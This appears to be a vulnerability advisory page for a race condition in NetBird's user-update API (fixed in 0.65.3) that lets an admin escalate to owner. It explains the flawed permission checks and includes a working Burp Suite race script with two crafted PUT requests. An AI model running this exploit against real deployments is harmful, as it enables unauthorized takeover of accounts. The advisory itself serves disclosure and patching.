Skip to content
Fencer Intel
medium 4.4

GHSA-rxmp-8h9v-56cx json

NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner

published 7mo ago modified 4mo ago also GO-2026-5646

cvss
4.4
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

## Summary

A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.

## Details

The vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`.

### `SaveOrAddUsers` Function

**Location:** `netbird/management/server/user.go` — Line 556

![SaveOrAddUsers function code showing the two separate permission checks](https://github.com/user-attachments/assets/821e79a2-ad3e-45d7-a952-daf5422c1801)

Afterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.

### `validateUserUpdate` Function

**Location:** `netbird/management/server/user.go` — Line 862

![validateUserUpdate function code showing the insufficient permission validation logic](https://github.com/user-attachments/assets/a7e7f2df-ee4c-45b4-9b4d-c71c605dbaaa)

In summary, if the initiator's permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**.

## Proof of Concept

It is possible to create the following attack:

The initiator (`old_admin`) creates two different accounts — one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on.

Two different requests are needed:

1. **Request 1** — Using `new_admin`'s JWT, a request is created that changes `old_admin`'s role to **user**. 2. **Request 2** — Using `old_admin`'s JWT, a request is created that changes `new_user`'s role to **owner**.

Both requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return.

There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update.

The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt.

```python import time

def queueRequests(target, wordlists):

engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=100, requestsPerConnection=100, pipeline=False )

# Request 1 req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {NEW_ADMIN_TOKEN} Content-Length: 73 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

{"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}"""

# Request 2 req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {OLD_ADMIN_TOKEN} Content-Length: 52 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

{"role":"owner","auto_groups":[],"is_blocked":false}"""

# Send first request engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1)

# Send second request for i in range(100): engine.queue(req2)

def handleResponse(req, interesting): table.add(req) ```

## Impact

An attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.

Patch / fix

  • go github.com/netbirdio/netbird 0.65.3

Is GHSA-rxmp-8h9v-56cx in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

CVSS scores

assigned by version score vector
GitHub 3.1 4.4 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N

Affected packages

ecosystem package affected fixed in
go github.com/netbirdio/netbird
<0.65.3
0.65.3

Classification

Weakness
  • CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.